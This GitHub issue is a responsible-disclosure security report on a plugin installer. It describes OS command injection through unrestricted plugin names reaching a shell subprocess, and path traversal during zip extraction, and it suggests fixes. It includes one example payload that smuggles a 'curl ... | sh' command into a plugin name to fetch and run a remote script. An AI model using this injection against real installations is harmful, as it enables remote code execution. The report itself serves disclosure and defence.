Skip to content

Security finding - plugin installer: OS command injection via registry/name strings + unrestricted zip write #3455

Description

@Pajt9whauht283as

Security report (responsible disclosure)

Plugin installer: OS command injection via registry/name strings + unrestricted zip write

Affected: cogs/plugins.py:91 (no charset restrictions), :237-243 (shell sink), :216-224 (zip extraction)

m = match(r"^(.+?)/(.+?)/(.+?)(?:@(.+?))?$", s)   # name/user/repo/branch accept anything
...
proc = await asyncio.create_subprocess_shell(
    f'"{sys.executable}" -m pip install --upgrade{user_install} -r {req_txt} -q -q',

req_txt = plugin.abs_path / "requirements.txt" where abs_path embeds the raw name. {prefix}plugin add evil/trustme/foo"; curl http://x.sh|sh;" executes attacker text as shell during load. Registry-sourced installs additionally take plugin_name from remote registry JSON (:301-318 via :136). Secondary: zip extraction trusts entry paths when path.parts[1] == plugin.name; setting name='..' escapes the plugins directory (arbitrary file write).

Requires OWNER to trigger directly, but is supply-chain relevant through registry names.

Suggested fix

Use subprocess argv lists (no shell); whitelist [A-Za-z0-9._-] for user/repo/name/branch; reject zip entries resolving outside abs_path.resolve().

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions